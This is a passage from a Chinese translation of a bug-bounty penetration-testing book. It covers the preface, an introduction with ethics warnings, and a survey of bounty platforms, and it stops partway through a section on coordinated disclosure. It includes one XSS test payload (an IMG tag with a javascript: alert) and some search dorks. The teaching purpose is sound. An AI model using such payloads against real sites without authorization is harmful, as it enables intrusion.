BUG-狩猎渗透测试实用指南-全-

BUG 狩猎渗透测试实用指南（全）

原文：annas-archive.org/md5/f7f6775644a2e8d2d0d52a4afb4d407d

译者：飞龙

协议：CC BY-NC-SA 4.0

前言

本书旨在为有兴趣的程序员（兼职、专业或其他）提供他们参与公共漏洞赏金计划所需的技能，内容包括一般的渗透测试主题，如如何适当界定测试范围，以及特定赏金的安全主题，如如何格式化漏洞提交报告以确保获得奖励的最佳机会。

随着公共网络安全审计需求的增长，众包解决方案变得越来越流行。本书旨在提供参与这些计划所需的所有内容—通过理论和直接的实践示例，带领你了解重要的主题。

本书的读者群体

本书是为开发人员、爱好者、渗透测试人员以及任何对 Web 应用安全和公共漏洞赏金计划有兴趣（或许有一点经验）的人编写的。

本书的内容

第一章，加入狩猎，介绍了漏洞赏金的概念、它们对公司的价值以及最常见的计划类型。它还设定了读者进入本书时应具备的预期知识。

第二章，选择你的狩猎场，解释了如何评估各个漏洞赏金计划以及是否参与其中。它解释了诸如支付、社区参与、参与条款和公司质量等因素。

第三章，准备参与渗透测试，解释了如何准备渗透测试，从如何标准化侦察过程，到了解应用程序的攻击面，再到良好笔记的记录和后期准备提交报告的重要性。

第四章，未清理的数据 – 一个 XSS 案例研究，描述了如何以及在哪里找到 XSS 漏洞——这种代码注入漏洞是今天最常见的 Web 应用漏洞之一。

第五章，SQL、代码注入与扫描器，描述了不同种类的代码注入攻击以及如何安全地进行测试，涵盖了不同类型的注入，如盲注或基于错误的注入。

第六章，CSRF 和不安全的会话认证，讨论了与不安全会话认证相关的漏洞，重点是 CSRF 以及如何创建 CSRF PoC 进行测试。

第七章，检测 XML 外部实体（XEE），专注于 XML 外部实体漏洞检测和相关的 XML 注入技术，这些技术可以与 XXE 共同作用。

第八章，访问控制和安全隐蔽性，讲解了如何在网页应用程序中发现隐藏的信息/数据泄漏，并区分哪些数据是重要的（能够为你赢得奖励），哪些是不重要的。它涵盖了不同类型的敏感数据，并提供了来自实际案例的示例。

第九章，框架和特定应用漏洞，讲解了从测试应用程序/框架特定漏洞的角度出发进行渗透测试的方式，重点关注常见的已知漏洞和暴露（CVE），并介绍了如何测试 WordPress、Rails 和 Django 应用程序，包括策略、工具、技巧和窍门。

第十章，报告格式化，介绍了如何撰写漏洞报告以获得最大回报，结合了早期漏洞章节中的示例和信息，并提供了提交时需要注意的细节（包括评论）。

第十一章，其他工具，讲解了本书漏洞示例中未涉及的其他工具，以及如何验证新的工具。还解释了如何评估免费与付费产品，并为渗透测试计划提供了入门点，这些计划专注于书中没有详细介绍的漏洞（例如，薄弱的 WAF 规则/网络漏洞）。

第十二章，其他（超出范围）漏洞，讲解了本书未涉及的其他漏洞，以及为什么它们在大多数漏洞赏金计划中不予支付。

第十三章，更进一步，解释了读者可以在哪里找到更多关于参与漏洞赏金计划的信息——通过课程和资源继续发展安全技能。本章还包括了渗透测试/安全术语的词汇表，清晰地定义了书中使用的术语。

为了从本书中获得最大的收获

为了完整体验并完成本书中的练习，你应该具备一些基本的网页应用开发背景——理解现代网页背后的通用模式（例如，客户端-服务器、cookie 作为认证、HTTP 作为无状态协议），并且能够熟练使用一些基本的网页技术，如 HTML/CSS、JavaScript、浏览器、TCP/IP 等。拥有一些渗透测试经验会有所帮助，但并非严格要求。我们在本书中经常使用命令行，但也有许多图形界面相关的替代方法。

如果你在上述任何主题上存在知识空白，我鼓励你仍然尝试阅读本书。额外的资源、示例以及外部渗透测试资源的链接旨在为你提供更多的背景信息，帮助你在遇到某些部分困惑时能够更好理解。

下载示例代码文件

您可以从www.packt.com下载本书的示例代码文件。如果您从其他地方购买了本书，可以访问www.packt.com/support并注册，以便直接将文件发送至您的邮箱。

您可以按照以下步骤下载代码文件：

登录或注册，访问www.packtpub.com。
选择“SUPPORT”标签页。
点击“Code Downloads & Errata”。
在搜索框中输入书名，并按照屏幕上的指示操作。

文件下载后，请确保使用最新版本的工具解压或提取文件夹：

Windows 版 WinRAR/7-Zip
Mac 版 Zipeg/iZip/UnRarX
Linux 版 7-Zip/PeaZip

本书的代码包也托管在 GitHub 上，地址是github.com/PacktPublishing/Hands-On-Bug-Hunting-for-Penetration-Testers。如果代码有更新，GitHub 上的现有仓库将进行更新。

我们的丰富书籍和视频目录中还有其他代码包，访问github.com/PacktPublishing/。快去看看吧！

本书使用的约定

本书中使用了若干文本约定。

CodeInText：表示文本中的代码词汇、数据库表名、文件夹名称、文件名、文件扩展名、路径名、虚拟网址、用户输入以及 Twitter 账号。以下是一个例子：“将下载的WebStorm-10*.dmg磁盘镜像文件挂载为系统中的另一个磁盘。”

代码块的设置方式如下：

import sys, json
from tabulate import tabulate

data = json.load(sys.stdin)

rows = []

当我们希望您注意代码块中特定部分时，相关行或项会以粗体显示：

import sys, json
from tabulate import tabulate

data = json.load(sys.stdin)

rows = []

任何命令行输入或输出的书写方式如下：

docker run -p 8081:8080 -it webgoat/webgoat-8.0 /home/webgoat/start.sh

Bold：表示新术语、重要单词或屏幕上出现的单词。例如，菜单或对话框中的单词将以这种方式出现在文本中。以下是一个例子：“从管理面板中选择 System info。”

警告或重要提示如下所示。小贴士和技巧如下所示。

联系我们

我们始终欢迎读者的反馈。

General feedback：请发送邮件至customercare@packtpub.com，并在邮件主题中提及书名。如果您对本书的任何方面有疑问，请通过customercare@packtpub.com与我们联系。

Errata：虽然我们已经尽最大努力确保内容的准确性，但错误难免发生。如果您在本书中发现了错误，我们将非常感谢您向我们报告。请访问www.packt.com/submit-errata，选择您的书籍，点击“Errata Submission Form”链接，填写详细信息。

盗版：如果您在互联网上发现我们作品的任何形式的非法副本，我们将不胜感激您提供其位置或网站名称。请通过链接 copyright@packt.com 联系我们。

如果您有兴趣成为作者：如果您在某个专题上有专业知识，并且有意撰写或为书籍作贡献，请访问 authors.packtpub.com。

请留下评论。阅读并使用本书后，为何不在购买书籍的网站上留下您的评论呢？潜在的读者可以看到并使用您的客观意见来作出购买决策，我们在 Packt 可以了解您对我们产品的看法，而我们的作者也能看到您对他们书籍的反馈。谢谢！

有关 Packt 的更多信息，请访问 packt.com。

第一章：加入猎杀

本书旨在为你提供必要的实践经验，帮助你对安全产生兴趣，并将其转化为一项有趣且有利可图的追求。

目标是，通过专注于真实的提交报告，你可以更好地理解如何以及在哪些地方发现网络漏洞，通过在家进行渗透测试真实的网站（以及故意存在漏洞的 web 应用），你将获得宝贵的实践经验。有时候，最好的学习方式就是先学一些理论，然后直接投入其中。

本章将重点介绍你将学到的内容、如何学习以及如何从这本书中最大化收益。它将覆盖以下内容：

漏洞赏金计划的好处
在开始阅读本书之前，你的渗透测试背景应该具备哪些知识
设置环境和需要掌握的工具
你的下一步

技术要求

本章节不需要任何软件，虽然我们会介绍一些在后续示例中会使用到的工具。

你可以在 OWASP 的 XSS 过滤器规避备忘单中找到上一节提到的简短代码片段：www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet。

漏洞赏金计划的好处

网络正在迅猛发展——比任何时期都更多的人以更加多样化的方式使用网络，做更多的事情。

手机是数字生活崛起的完美例子。自 20 世纪末发明以来，手机的使用从一个小型的技术精英群体扩展到全球超过 60%的人口——预计到 2019 年底，全球将有超过 50 亿人拥有手机。我们的口袋电脑在不到 30 年的时间里征服了世界。就像大爆炸一样，手机使用并非爆炸式增长，而是以惊人的速度扩展，迅速覆盖了世界上大部分的人口。从座机的空白中迸发出了移动、无限的未来，几乎在这一想法被提出的同时，它便成为了现实。

以下是联合国 2015 年关于千年发展目标进展的研究中，展示了手机拥有率如何在 2010 年代初期迅速普及，几乎覆盖了全球大部分人群的图表：

随着互联网接入的普及以及网络复杂度的增加，越来越多的人可以轻松上网，并且一旦在线，他们就能做更多事情。购物、银行业务、社交——我们生活中越来越多的部分是在网上度过的。得益于神童般的人工神经网络（这些算法模仿人类大脑的数学模型，并且在模式识别上取得了惊人的成功）的数据分析，趋势显示数据收集将越来越多。神经网络编写起来很复杂，但使用起来足够简单——只要你给它们提供足够的信息。我们的设备比以往任何时候都更了解我们，并且它们每天都在学习更多。

这张图表显示了未来几年每分钟产生的数据量（或预计产生的数据量）。下图的 y-x 轴以泽字节（ZB）为单位：1 ZB = 10 亿太字节（TB）。这些数字令人震惊：

更多的应用程序为更多的人提供更复杂的服务，并管理更多的数据，这导致了系统的崩溃。随着公司尝试实现他们的技术目标，网页开发者的需求急剧增加，但供给却跟不上几乎无限的开发工作需求。编程训练营、在线课程以及其他四年制学位的替代方案，已经成为软件工程职业的热门入门途径，但编程公司希望完成的任务与能够完成这些任务的程序员之间仍然存在很大的差距。随着对开发者时间和注意力的要求增加，曾经被认为是昂贵且非必要的安全问题，已经变成了疏忽大意的企业面临的危机，因为漏洞导致了数据泄露、商业利用、身份盗窃，甚至是国家行为者和犯罪集团的间谍行为。

漏洞赏金是昂贵的内部安全机制的众包替代方案。科技公司（从大型企业到小型五人初创公司）已经开始使用公开的漏洞赏金计划，来发现其应用程序中通常被黑客作为突破口的逻辑错误和数据处理不当。通过在漏洞被利用之前发现它们，公司可以支付工作费用，从而直接减少暴露风险，而不必承担全面安全审计的成本。一些公司选择参与第三方平台，如 Bugcrowd 或 HackerOne，以规范他们的支付、提交报告格式、参与规则和目标清单，而另一些大公司则足够大，能够在自己的框架下运营这样的程序。

无论哪种方式，通过作为研究人员参与，你都可以通过运用你的技能来获得报酬。而且，由于许多漏洞赏金市场还会追踪你找到的漏洞数量、漏洞的严重性和你的整体成功率，因此在公共平台上做第三方研究也可以成为你获得更多安全工作机会的好桥梁。如果你来自非传统背景或没有正式的安全教育，它可能有助于证明你具备在该领域中有效工作的必要技能。你可以在此过程中，遵循发现和披露过程的责任，同时使目标应用程序和整个网络更安全。

你应该已经知道的 —— 渗透测试背景

本书假设读者熟悉 web 应用程序工程和基本的 web 应用程序安全知识。熟悉前端技术（如 HTML/CSS/JS 和 DOM）、客户端-服务器关系、会话管理（cookies、TTL 等）、浏览器环境将有助于理解许多内容。此外，对 RESTful API 架构、常见应用框架和语言（如 Django/Python、RoR/Ruby 等）、常见应用安全技术和常见漏洞有一般了解将会很有帮助。无论您是全职安全研究员、业余的 web 应用程序工程师，甚至只是具有轻度背景和历史兴趣的编程爱好者，本书都会为您提供有用的信息。如果您刚刚开始，也没关系 – 在后面的章节中，逐步的实例将帮助您成长为安全研究员；您可能需要通过其他上下文来填补知识空白。

除了这些主题，我们假设您也有使用命令行的经验。虽然有许多优秀的图形工具用于进行和可视化渗透测试，我们将使用其中的许多工具，但命令行界面对于从包管理到实时渗透测试执行再到自动化等各个方面都是无价的工具。虽然许多使用的工具都有兼容的 Windows 版本，但实际的操作（大部分情况下）将在装有 High Sierra（10.13.2）的 2015 年款 MacBook Pro 上进行。如果您在 Windows PC 上工作，您仍然可以通过使用虚拟机或仿真软件参与进来。

设置您的环境 – 需要了解的工具

本书中使用的所有工具都是免费的 – 您无需购买其他任何内容来重现操作步骤。在第十二章其他工具的调查中，将讨论其他技术（付费和免费），您可以利用它们来获得额外的功能。

这里简要概述了我们将使用的一些技术：

Burp Suite 是一个多才多艺的程序，可以拦截网络流量（Burp Proxy），触发应用程序信息提交（Burp Intruder），扫描输入以防止恶意代码片段（Burp Scanner），以及通过扩展提供的可能性进行多种其他操作。我们将介绍如何使用原生的 Burp 功能以及如何整合简单的扩展。考虑到重点放在免费版本可用功能上，部分付费功能，比如 Burp Scan，只会进行概述。
Nmap、sqlmap、wfuzz、arachnid 和其他 CLI 程序非常适合组装成更大的工作流程，将信息传递给相邻工具（Burp 和其他工具），启动其他自动化，或者持续可视化目标的攻击面。
有意设置为易受攻击的 Web 应用程序是一种不同类别的工具 - 不太适用于实际的渗透测试活动，而更多地设计用于测试新想法或校准现有方法或技术，以便在需要为特定漏洞返回积极结果时使用。我们将使用易受攻击的 Web 应用程序，如 Google Gruyere、Target Range、DAMN 易受攻击的 Web 应用程序等，来进行这两种操作。您可以在第十三章的站点部分找到更多 DVWA 的列表，深入了解。

虽然我们在使用这些工具时将进行设置，但浏览它们的安装和文档页面仍然是一个好主意。由于它们的深度，许多这些工具将具有我们在工作过程中无法完全涵盖的有用功能。我们还将只是浏览与安全无关的工具的表面 - 那些应用程序代表的笔记、记录和其他一般生产力功能可以轻松地被您最熟悉的任何类似物所替代。

您将学到什么 - 下一步

除了在本书结束时熟悉这些工具（以及更多工具）之外，您还将学习如何寻找、成功检测并撰写有关 XSS、SQLi 和 NoSQLi、CSRF、XEE、数据泄漏、不安全的会话管理和未经验证的重定向，以及特定于框架和语言的漏洞的漏洞提交报告，包括由 WordPress、Django 和 Ruby on Rails 应用程序提供支持的网站。您还将学习如何撰写最大化报酬的报告，如何将注意力集中在最大化发现漏洞的机会上，哪些漏洞不会导致报酬，为您的渗透测试会话做好准备，如何遵守会话规则，以及作为独立安全研究人员参与漏洞赏金计划时如何高效且盈利的一般提示。

获得渗透测试的实际经验，以参与漏洞奖励计划是关键。你最终会通过将本书中探索的工具应用到你自己的目标上来学到最多。因此，在阅读本书的过程中，我们鼓励你注册加入第三方社区，并开始你的第一次安全研究之旅。只要你遵守参与规则并尊重应用程序及其用户，你就可以开始尝试本书中介绍的技巧。参与论坛讨论、阅读其他用户的经验、关注博客，并普遍成为安全社区的一部分，也有助于你了解有效的策略。阅读其他研究人员已经获得批准披露的漏洞报告是一种绝佳的方式，可以帮助你理解什么样的报告是有效的，哪些漏洞通常在哪里被发现。

如何（不）使用本书——一个警告

在继续之前的最后一句话：

不要滥用本书。

本书中描述的技术和方法仅用于参与经过批准的、符合伦理的白帽渗透测试工作，以便发现漏洞并报告修复，从而获得报酬。

本书中的教训应当负责任地使用：

不应当在没有网站所有者许可的情况下应用这些技术
不应当应用到网站所有者认为超出范围的数据或逻辑
不应当以任何方式将其武器化——将其从漏洞阶段转化为实际的攻击手段

下面是一个快速的例子，说明什么是“武器化”。

假设你发现了一个存储型 XSS 漏洞，其中不正确的数据清洗导致评论线程允许未转义的 HTML 存储潜在的恶意代码。你使用 Burp Intruder 工具和手动跟进提交一个代码片段，演示你可以存储（并稍后执行）任意一段 JavaScript。这个片段实际上是一个非常简单的测试——它在一个没有正确清洗的 src 属性下执行 alert() 函数，这个属性附加在一个 <img> HTML 标签上：


<IMG SRC=javascript:alert('XSS')>

使用 alert() 或 console.log() 来测试是否在可能的 XSS 实例中执行 JavaScript 本身并没有错——不过，在使用 alert() 或记录日志时，记得输出一些关于 XSS 发生位置的信息（例如，alert(window.location.href)）。

但是，将漏洞转化为攻击手段是有问题的。一旦确认了 XSS 漏洞，恶意 JavaScript 很容易被找到并做出更恶意的行为。运行这些恶意代码——即使是在有限的方式下——也有可能会破坏应用数据、进程或其他可能导致法律责任的事情。

想象漏洞可能被如何利用是很有帮助的——许多漏洞悬赏计划希望在你提交报告时听到关于漏洞的具体场景，以便判断漏洞是否足够严重，是否值得支付奖励。有时，甚至该场景的形式——你能证明攻击者可能造成的损害——也能极大地影响你的奖励。

所以，考虑漏洞的整体形式是有益的——对于存储型 XSS，你可以重写执行脚本的页面的关键部分，或获取认证 cookie 并将其发送到监听这些凭证的服务器，或进行其他攻击——但评估这种漏洞的影响仍然不足以编写会损害人们和流程的代码。

不要编写利用代码。如果你在美国，法律惩罚是非常严厉的——截至本文写作时，计算机欺诈和滥用法案（CFAA）意味着即使是轻微违反网站服务条款，也可能会导致重罪。企业也很快会起诉不遵守其参与规则的独立研究人员，这些规则是研究人员在探测应用程序漏洞时必须遵循的条件。即使没有面临法律诉讼的威胁，无论是民事还是刑事，黑客攻击这些网站仍然会欺诈无辜的人，伤害小型企业，引发立法过度反应，侵蚀隐私，并且总体上让整个网络变得更糟。

这不值得。

说完这些，我们可以开始进入任何漏洞狩猎冒险的第一步：选择使用哪个计划，探索哪个网站，以及在哪里——如何——找到漏洞。

总结

本章介绍了漏洞悬赏计划的起源和好处，入门时所需的背景知识，参与中我们将使用的一些工具概述，如何最大化地从本书中获益（在允许的网站上实践），以及最后，不遵守目标网站的参与规则或行为准则所冒的道德和法律风险。

在下一章中，我们将介绍不同类型的漏洞悬赏计划，它们之间的关键区别，如何评估你应该参与的计划，以及哪些应用程序是好的目标，应该将你的研究重点放在哪里，最后，如何利用计划的参与规则来最大限度地减少作为安全研究人员的法律责任。

问题

为什么网站提供漏洞悬赏计划？
参与这些计划有什么价值？
我们需要了解什么才能从本书中获得最大的收获？
我们将使用哪些工具？它们的用途是什么？
我们如何使 XSS 的alert()调用更有效？
思考一个漏洞可能如何被利用是可以的吗？写代码来测试这个理论呢？
关于渗透测试的刑事理论，适用的法律是什么？

进一步阅读

你可以在以下链接中了解更多关于我们在本章中讨论的一些话题：

关于开放网络应用安全项目（OWASP）: www.owasp.org/index.php/About_The_Open_Web_Application_Security_Project
2015 年联合国千年发展目标报告: www.un.org/millenniumgoals/2015_MDG_Report/pdf/MDG%202015%20rev%20%28July%201%29.pdf

第二章：选择你的狩猎场

当你决定参与哪些漏洞奖励计划时，最好先了解一些基本信息——例如，提供公司报告提交的流程、提交成功率、相关网站的攻击面等。幸运的是，基于公司类型、规模、奖励计划的性质（第三方市场、内部计划）以及公司发布的声明和文档，通常可以轻松找到这些信息。

本章将介绍如何评估市场、项目和公司，并衡量它们作为高效合作的潜力。还将探讨如何专注于 Web 应用程序中最有可能发现漏洞的领域。通过学习本章，你将了解应该参与哪些项目，为什么参与，以及如何最大限度地利用你的目标应用程序——同时确保你在事先约定的合作规则范围内进行操作。

技术要求

本部分没有软件要求：你只需使用标准的网页浏览器即可访问此处列出的所有资源。我们使用的是 Chrome 浏览器（66.0.3359.139）。

漏洞奖励社区概述——从哪里开始你的搜索

参与漏洞奖励计划的选择有很多种，但大多数都可以归结为两种类型：第三方市场和公司赞助的计划。

第三方市场

市场是连接公司和研究人员的地方。它们标准化了提交流程、合作规则的披露以及其他文档，同时为社区提供论坛、教学博客等服务。市场是技术信息的良好来源，它们通常收集的指标——例如公司响应时间和平均支付额——可以帮助你决定在哪里集中精力。统一的提交标准意味着你还可以开发一个模板——稍后我们会展示一个例子——可以在不同的合作之间修改并重复使用。这使得你能够在信息收集方面自动化工具，从而让整个工作流程更加简便和一致。

Bugcrowd

Bugcrowd (www.bugcrowd.com/) 有一个标准的注册流程，不需要任何经验证明即可成为研究员。你可以选择公开你的个人资料（让大家看到你积累的积分和有关你参与的统计信息）或保持私人设置。

你的页面会显示你的排名、积累的积分、提交的数量以及这些提交的准确性。它还会展示你获得奖励的漏洞的平均严重程度，按低-中-高-危急的标准进行划分。Bugcrowd 也维护着一个漏洞分类系统，称为漏洞评级分类法，旨在进一步增强透明度和沟通，并为漏洞悬赏社区贡献有价值和可操作的内容。对于研究人员而言，该公司认为 VRT 可以帮助项目参与者节省宝贵的时间和精力，使他们在为目标网站提高安全性时，帮助他们识别哪些高价值漏洞可能被忽视。

精明的研究人员通常会专注于某些特定的漏洞，逐渐提高自己在这些领域的能力。当你完成练习并思考要专注的策略时，像 VRT 这样的资源可以帮助你找到努力与回报之间的完美交集。

Bugcrowd 根据你过去 90 天的行为数据来决定邀请哪些研究人员参加私有悬赏项目。这些私有项目只对一小部分研究人员开放，他们在特定时间内寻找漏洞。私有项目非常好，因为这意味着参与者较少，这样你就有更多机会发现漏洞。

该公司还提供一项实用服务，每次登录时，Bugcrowd 会为你设置一个转发邮箱地址，格式为[username]@bugcrowdninja.com，有效期为接下来的 30 天。有时，项目指南会要求你使用这个邮箱创建一个测试账户，这样参与的公司可以监控研究人员，但无论如何，这都是一个很好的资源。由于这是 Gmail 服务，你也可以根据需要更改地址，以便创建多个账户（例如，[username]+test1@bugcrowdninja.com 和 [username]+test2@bugcrowdninja.com）。

你可以在 Bugcrowd 上找到各种规模的企业，涵盖了不同的收入模型。目标主要是针对 web 应用程序，但也有一些移动应用和少数另类项目。

HackerOne

HackerOne (www.hackerone.com/) 是一个类似的平台——它有自己的积分系统（声誉），并计算各种指标，作为其排行榜和邀请参与私有项目的基础。

和 Bugcrowd 一样，HackerOne 也有自己的漏洞悬赏政策——如果你在它的某个网站或应用中发现漏洞，你有权获得奖励。有趣的是，即使你没有发现漏洞，你仍然可能有资格获得奖励。来自他们网站的内容：

"HackerOne 对你在我们系统上的研究感兴趣，无论你是否发现了安全漏洞。如果你在查看我们资产的某个特定功能时没有发现任何问题，请提交一份报告，描述你尝试的所有不同方法以及失败的原因。我们可能会根据你在我们漏洞悬赏政策下进行的重大研究给予奖励。"

这是一项仍然有意义的常规政策：提供一份所有有效内容的详细清单，实际上就是对公司资源的审计，即使它没有涵盖任何易受攻击的区域。

HackerOne 和 Bugcrowd 在不同公司、不同产品、商业模式和安全需求方面具有相似的广度。HackerOne 确实有一些平台专属的著名公司，最著名的是 Twitter，但总体来说，提供的服务非常相似。

Vulnerability Lab

Vulnerability Lab 是一个提交和披露平台，使用一支内部专家团队来审查高曝光度的漏洞，同时也接受提交较不重要或低曝光度的漏洞。该网站的一个功能实际上是接收研究人员可能不想直接提交的重大漏洞报告，并作为研究人员与受影响公司之间的联系点和第三方中介。

像 HackerOne 一样，它在一段时间后公开披露漏洞报告，并且是初学者了解漏洞报告形式以及发现和报告常见漏洞的方法的有用参考。它们的公开漏洞索引还标注了每个漏洞所发现的系统类型，使其成为了解应用程序特定问题时的一个不错资源。

BountyFactory

BountyFactory 自称为首个依赖欧洲规则和立法的欧洲漏洞悬赏平台，由较大的 YesWeH4ck 集团运营，这是一家成立于 2013 年的信息安全招聘公司，旗下有一个漏洞悬赏平台、一个招聘网站（YesWeH4ck Jobs）、一个协调漏洞披露平台（ZeroDisclo）以及所有公共漏洞悬赏项目的聚合平台（FireBounty）。像 Bugcrowd 和 HackerOne 一样，BountyFactory 有一个评分系统、排行榜，并且提供公开和私密项目，邀请数量有限。

由于其欧洲导向，BountyFactory 非常适合寻找那些不在受欢迎的、由美国公司运营的替代平台上的公司，例如 OVH、Orange 和 Qwant。它的许多客户来自法国初创企业界。

Synack

Synack 依赖于一种与我们讨论过的所有其他项目完全不同的商业模式。

作为一个以质量和独特性为傲的私人项目，Synack 要求成为研究人员不仅仅是提供一封电子邮件。公司会要求个人信息、视频面试、背景和身份证检查，并进行技能评估，以确保他们的研究人员足够有能力和责任心，能够审核那些可能涉及敏感数据的项目（这是 Synack 的一项专长）。

他们的红队申请者中不到 10% 被接受。与其他项目不同，Synack 不会公开发布排行榜或任何形式的研究人员排名（尽管他们确实会保持内部排名，并作为奖励和邀请参与特定活动的依据）。

如果你正在寻找类似于 Bugcrowd 或 HackerOne 上的私人项目类型的合作，像 Synack 这样的中介非常适合，研究人员可以获得对目标应用程序的独家、有限访问。这也是一个很好的选择，如果你需要快速支付，或者希望获得公司仅向成员研究人员提供的专业发展材料。

Synack 保密研究人员身份这一点也是一个好处，因为——尽管始终遵守参与规则（ROE）非常重要——它为研究人员提供了某种保护，避免了公司通过法律手段打压激进的审核行为，或是对自己解读的参与规则与研究人员的理解不同。

总体来说，如果你已经在一些入门门槛较低的漏洞奖励市场上积累了一些经验，并希望在安全研究上投入更多，Synack 是一个不错的选择。如果你愿意并能够通过他们的筛选过程，作为红队成员，你将能够获得较少被关注的目标、独家合作机会和更快的支付。

公司赞助的计划

公司赞助的项目顾名思义，正是由公司赞助的。并不是只有大型企业才有漏洞奖励计划——令人惊讶的是，许多企业都有奖励安全贡献的流程。每个公司的规模会极大地影响奖励的要求和条件：大型公司会为漏洞支付高额奖金，但这些漏洞的低垂果实可能已经被挖掘干净；初创公司可能拥有不太成熟的应用程序，但也许攻击面更小，使用的技术栈较新，已知漏洞较少，且可能愿意用周边产品作为奖励。有些公司已经成熟到面临技术债务，但也有足够的预算支付奖励，这些公司是很好的选择。然而，有时候你只能在不同领域中尝试，碰碰运气，才能找到下一个漏洞。

以下是一些大型公司提供的项目示例。

谷歌

Google 的计划非常广泛，拥有详细的奖励结构和分类不同类型漏洞的具体指引。大部分相关信息可以在其应用安全页面的奖励部分找到，但 Google 还策划了一套（较小的）渗透测试教程，特别关注于发现漏洞类型以及提交符合 Google 要求的漏洞报告。

Bughunter University 和其他 Google 资源上的文章适用性不同——其中一些仅代表 Google 的偏好、要求等——但即便是更具个人特色的部分，也包含了可应用于其他项目和活动的最佳实践和智慧。其他公司可能不会完全同意 Google 对非合格报告的常见类型，但仍然会有很大程度的重叠，因此无论厂商如何，都是一本有用的指南。

除了 Bughunter University 上的材料外，Google 还负责创建和维护许多很棒的教学应用程序。我们将在本章中使用其中一个，Google Gruyere（google-gruyere.appspot.com/），作为 XSS 章节的一部分，你还可以在书末的其他工具部分找到来自 Google 的其他优秀资源。

Facebook

Facebook 拥有一个漏洞奖励计划，最低奖励为 $500，但正如其负责披露政策中非常直接的语言所表明的那样，他们不容忍扰乱生产数据：如果你在向 Facebook 报告安全问题时遵守政策，他们将不会因你的报告而对你提起诉讼或进行执法调查。

他们的计划提供的信息量非常少。你将看到一个并列的提交报告示例和改进版，其中包含一些不符合条件的漏洞，但几乎没有普遍性的经验教训或专业建议。

正如法律术语所示，Facebook 对其平台的滥用非常敏感——尤其是在最近接受更多审查的背景下。而且由于许多漏洞攻击的目标是影响用户，因此，避免编写可能破坏账户的代码至关重要。

亚马逊

亚马逊为其电子商务和云服务部门分别设有漏洞奖励项目。

一个重要的点是，亚马逊要求你在进行任何形式的渗透测试之前，必须注册并申请许可。这一点至关重要，也是该公司与其一些竞争对手的主要区别之一。与某些公司采用开放式参与模式——只要你遵守参与规则，就可以期待免受法律责任不同，亚马逊执行的是许可优先模式，以更好地控制渗透测试活动，并区分白帽和黑帽活动。

Amazon 有大量关于安全工作在 Amazon 内部如何运作的白皮书、博客文章和文档，但比起 Facebook 或 Google，对于渗透测试或赏金猎人参与一般而言，提供的材料更少。

GitHub

GitHub 提供了一个赏金计划，涵盖了其各种属性，包括 API、企业应用程序和主要的主站点（github.com/），对大多数目标的支付范围从$555 到$20,000 不等。

GitHub 程序的一个巧妙特性是，每个成功提交赏金的参与者都会收到一个个人资料页面，除了显示他们积累的点数、排名和获得的徽章外，还列出了他们报告的漏洞及每个漏洞的简短技术说明。与其他平台上发布的提交报告类似，成功发现漏洞的任何技术细节都是对通常和特定站点制定获胜策略的宝贵见解。

如果你希望将发现漏洞转化为安全领域更广泛的职业，像 GitHub、Bugcrowd 和 HackerOne 提供的个人资料页面可以成为你简历上的重要亮点。

Microsoft

Microsoft 有一个奖励计划，涵盖其消费软件稳定版和 Web 应用产品，例如他们的云服务 Azure。Microsoft 赏金计划网站详细介绍了提交报告的格式，展示了良好和不良样本的示例，并为包括的每个 Microsoft 产品制定了详细的、具体的测试指南。但从一般的渗透测试角度来看，学习材料不算丰富，社区也不是很多。像许多其他公司一样，Microsoft 有自己的公共排行榜和排名系统。

他们的博客是更一般的信息安全分析的良好来源。在一个系列中，他们提供了对 Shadow Brokers 使用的 Windows 漏洞利用的深入分析，包括源代码示例，这个臭名昭著的黑客团伙在 2016 年夏天曾泄露 NSA 的黑客工具。

查找其他程序

许多公司都有漏洞赏金计划。如果你对测试特定网站或应用程序感兴趣，找出它是否支持漏洞赏金计划就像进行几次搜索那样容易。利用 Google 富有表现力的搜索语法进行查询，如inurl:/security/、intext:bug bounty和intext:reward，都是你可以用来发现新程序的很好的基础构件。你甚至可以组合它们以深入挖掘特定应用程序的赏金计划 —— 例如intext:"Bug Bounty" AND intext:"vulnerability" AND intext:"reward" AND inurl:"/wp-content/"的查询可以用来返回 WordPress 站点的程序页面（感谢 Sachin Wagh（@tiger_tigerboy）提供的 dorks）。

你甚至可以使用这些搜索术语和其他术语设置 Google 警报，以便简单自动地发现参与的新程序。

对于一些不那么临时的项目：除了提供优秀的教学资源外，Bugcrowd 还为其会员提供一个列表，列出了可用的漏洞赏金项目，以及它们是提供金钱奖励还是公司赠品（如 T 恤、水瓶等）、它们的成立时间以及是否设有“名人堂”以表彰成功的研究员。你可以在www.bugcrowd.com/bug-bounty-list/找到这张表格。

前面提到的 Firebounty 是 YesWeH4ck 的产品，它是一个混合型平台，展示了其他平台的赏金项目以及其自身独特的服务。作为法国安全界的产品，它结合了跨大西洋和欧洲网站、移动应用程序和 API 的多种特色。

金钱奖励与公司赠品奖励

你会发现许多项目并不会提供现金奖励，而是提供公司赠品（如 T 恤、水瓶等）。不要忽略这些项目。除了流量较少——增加你找到漏洞的机会——并且能让你在真实的生产环境中进行漏洞挖掘之外，许多由第三方市场支持的赠品项目还会计入你在私有项目中受邀的机会（如果支持的话）。

这些仅提供赠品的项目通常是你刚开始旅程时应该选择的地方。黑客入侵 Google、Facebook 或 Amazon 如果成功会保证你获得丰厚的回报，但它们已经拥有庞大的安全团队和大量来自独立研究员的漏洞报告，初学者在第一次尝试时很难找到任何东西——更不用说找一些尚未被报告的漏洞了。

互联网漏洞赏金计划

互联网漏洞赏金项目介于第三方市场和个人努力之间。IBBP 是一个非营利组织，由微软、Adobe、Facebook 和 GitHub 等大科技公司资助，旨在保护核心互联网服务的完整性。其奖励计划涵盖的技术非常广泛，包括编程语言（Perl、Ruby、PHP）、应用框架（Django、Ruby on Rails）、服务器（NGINX、Apache HTTP）以及加密工具（Open SSL）。

尽管这项工作主要集中在渗透测试 Web 应用程序而非其更基础的组件，但随着你技能的提高，IBBP 是一个非常值得关注的资源。过去十年中，IBBP 曾为一些最具影响力的漏洞颁发奖励，例如 Heartbleed（$15k）、ShellShock（$20k）和 ImageTragick（$7.5k）。

ZeroDisclo 和协调漏洞披露

如果你发现了一个严重的、高影响力的漏洞，影响了大规模关键服务，了解协调漏洞披露的一些特殊情况非常重要。

协调漏洞披露是一套关于报告提交的协议，描述了一种过程，其中漏洞的报告人、包含漏洞的组件的供应商以及任何第三方（包括使用这些易受攻击组件的其他公司）共同合作，协调修复该问题并向公众披露漏洞的存在。

